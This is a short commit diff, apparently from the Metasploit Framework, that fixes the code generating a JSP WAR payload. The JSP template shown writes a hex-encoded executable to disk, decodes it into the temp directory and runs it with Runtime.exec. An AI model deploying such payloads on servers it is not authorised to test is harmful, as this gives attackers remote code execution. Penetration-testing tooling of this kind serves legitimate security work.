Some war fixes

bug/bundler_fix
Meatballs 2013-08-23 18:59:48 +01:00
parent dfc606fe56
commit cf5ddfeebf
2 changed files with 6 additions and 6 deletions

View File

@ -1,5 +1,5 @@
<%@ page import="java.io.*" %> <%%@ page import="java.io.*" %%>
<% <%%
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt"; String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}"; String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
String %{var_data} = ""; String %{var_data} = "";
@ -46,4 +46,4 @@
{ {
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
} }
%> %%>

View File

@ -1102,6 +1102,7 @@ def self.to_vba(framework,code,opts={})
def self.to_jsp_war(exe, opts={}) def self.to_jsp_war(exe, opts={})
# begin <payload>.jsp # begin <payload>.jsp
hash_sub = {}
hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8)
@ -1126,12 +1127,11 @@ def self.to_vba(framework,code,opts={})
{ {
:extra_files => :extra_files =>
[ [
[ "#{var_hexfile}.txt", payload_hex ] [ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
] ]
}) })
template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
template = read_replace_script_template("to_jsp.war.template", hash_sub)
return self.to_war(template, opts) return self.to_war(template, opts)
end end